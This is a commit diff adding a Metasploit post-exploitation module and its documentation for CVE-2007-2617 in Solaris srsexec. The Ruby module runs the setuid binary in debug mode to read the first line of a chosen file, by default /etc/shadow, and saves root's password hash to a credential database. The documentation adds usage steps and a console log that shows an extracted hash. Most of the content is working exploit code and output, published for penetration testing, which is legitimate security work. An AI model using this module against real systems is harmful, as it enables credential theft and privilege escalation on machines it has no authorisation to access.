Land #10628, Add Solaris srsexec Arbitrary File Reader module
commit
a7f53b9361
|
@ -0,0 +1,63 @@
|
|||
## Vulnerable Application
|
||||
|
||||
The vulnerable binary (`srsexec`) is included in the package Sun Remote Services
|
||||
Net Connect Software Proxy Core (SUNWsrspx). The vulnerable versions are
|
||||
3.2.3 and 3.2.4, for Solaris 10. This package was included on the extras/companion CD which
|
||||
doesn't seem to available anymore. `srsexec`'s vulnerability is that it runs with the suid bit set,
|
||||
and in debug verbose mode if given a file as input, the first line of that file will be echoed back.
|
||||
Common exploitation is to read `/etc/shadow`, to get root's password hash, however any file can be read.
|
||||
|
||||
In lieu of this, a mock application was created in python and is available
|
||||
[here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/srsexec).
|
||||
Follow the instructions in the python script to install, `argparse` also needs to be sent
|
||||
to the Solaris box since pypi.org doesn't accept ssl2/3 which are the only versions in Solaris 10u9.
|
||||
|
||||
The output from `srsexec` is slightly odd. The first line of the file will be
|
||||
after `binaries file line: ` and truncated at 20 characters. If the output is longer than 20 characters,
|
||||
then the next line will start with the last 2 characters from the previous line, followed by the next
|
||||
18 characters, and so on.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get a user level session
|
||||
4. Do: ```use solaris/escalate/srsexec_readline```
|
||||
5. Do: ```set session [#]```
|
||||
6. Do: ```run```
|
||||
7. You should be able to read the first line of a file.
|
||||
8. If `/etc/shadow` is selected, check `creds`.
|
||||
|
||||
## Options
|
||||
|
||||
**File**
|
||||
|
||||
The file that should have the first line read. Default is `/etc/shadow` and root's hash will be databased.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Solaris 10 u9 with mock binary and python 2.4
|
||||
|
||||
```
|
||||
msf5 post(solaris/escalate/srsexec_readline) > run
|
||||
|
||||
[+] 3.2.4 is vulnerable
|
||||
[+] Raw Command Output: verify_binary(vFYZf)
|
||||
srsexec: binary_name: vFYZf
|
||||
srsexec: name_buf: vFYZf_______________
|
||||
binaries file line: root:MW7h.vpI1Kq1g:1
|
||||
binaries file line: :17599::::::
|
||||
smmsp:NP
|
||||
Security verification failed for binary: vFYZf
|
||||
see SYSLOG(/var/adm/messages) for errors
|
||||
[+] First line of /etc/shadow: root:MW7h.vpI1Kq1g:17599::::::
|
||||
[+] Adding root's hash to the credential database.
|
||||
[*] Post module execution completed
|
||||
msf5 post(solaris/escalate/srsexec_readline) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
1.1.1.1 root MW7h.vpI1Kq1g Nonreplayable hash
|
||||
```
|
|
@ -0,0 +1,107 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Solaris::System
|
||||
include Msf::Post::Solaris::Priv
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Solaris srsexec Arbitrary File Reader',
|
||||
'Description' => %q{ This module exploits a vulnerability in NetCommander 3.2.3 and 3.2.5.
|
||||
When srsexec is executed in debug (-d) verbose (-v) mode,
|
||||
the first line of an arbitrary file can be read due to the suid bit set.
|
||||
The most widely accepted exploitation vector is reading /etc/shadow,
|
||||
which will reveal root's hash for cracking.},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # metasploit module
|
||||
'iDefense' # discovery reported anonymously to https://labs.idefense.com
|
||||
],
|
||||
'Platform' => [ 'solaris' ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'References' => [
|
||||
['CVE', '2007-2617'],
|
||||
['URL', 'https://download.oracle.com/sunalerts/1000443.1.html'],
|
||||
['URL', 'https://www.securityfocus.com/archive/1/468235'],
|
||||
['EDB', '30021'],
|
||||
['BID', '23915']
|
||||
],
|
||||
'DisclosureDate' => 'May 07 2007',
|
||||
))
|
||||
register_options([
|
||||
OptString.new('FILE', [true, 'File to read the first line of', '/etc/shadow'])
|
||||
])
|
||||
end
|
||||
|
||||
def suid_bin_path
|
||||
'/opt/SUNWsrspx/bin/srsexec'
|
||||
end
|
||||
|
||||
def check
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
# This ls is based on the guidance in the sun alerts article
|
||||
unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
|
||||
unin =~ /UninstallNetConnect\.([\d\.]{11})\.sh/
|
||||
unless $1
|
||||
print_error 'NetConnect uninstall not found, either not installed or too new'
|
||||
return false
|
||||
end
|
||||
|
||||
version = Gem::Version.new($1.split(".").map(&:to_i).join('.'))
|
||||
unless version.between?(Gem::Version.new('3.2.3'), Gem::Version.new('3.2.4'))
|
||||
print_error "#{version} is not vulnerable"
|
||||
return false
|
||||
end
|
||||
print_good "#{version} is vulnerable"
|
||||
|
||||
unless setuid? suid_bin_path
|
||||
vprint_error "#{suid_bin_path} is not setuid, it must have been manually patched"
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def run
|
||||
unless check
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
flag = Rex::Text.rand_text_alpha 5
|
||||
output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")
|
||||
vprint_good("Raw Command Output: #{output}")
|
||||
|
||||
# The first line of the file is cut at 20 characters.
|
||||
# If the output is longer than 20 characters, then
|
||||
# the next line will start with the last 2 characters from the previous line,
|
||||
# followed by the next 18 characters.
|
||||
|
||||
formatted_output = output.scan(/binaries file line: (.+)$/).flatten.map { |line|
|
||||
(line.length == 20) ? line[0..17] : line
|
||||
}.join
|
||||
|
||||
return if formatted_output.empty?
|
||||
|
||||
print_good("First line of #{datastore['FILE']}: #{formatted_output}")
|
||||
|
||||
return unless datastore['FILE'] == '/etc/shadow'
|
||||
print_good("Adding root's hash to the credential database.")
|
||||
credential_data = {
|
||||
origin_type: :session,
|
||||
session_id: session_db_id,
|
||||
workspace_id: myworkspace.id,
|
||||
post_reference_name: self.fullname,
|
||||
username: formatted_output.split(':')[0],
|
||||
private_data: formatted_output.split(':')[1],
|
||||
private_type: :nonreplayable_hash
|
||||
}
|
||||
create_credential(credential_data)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue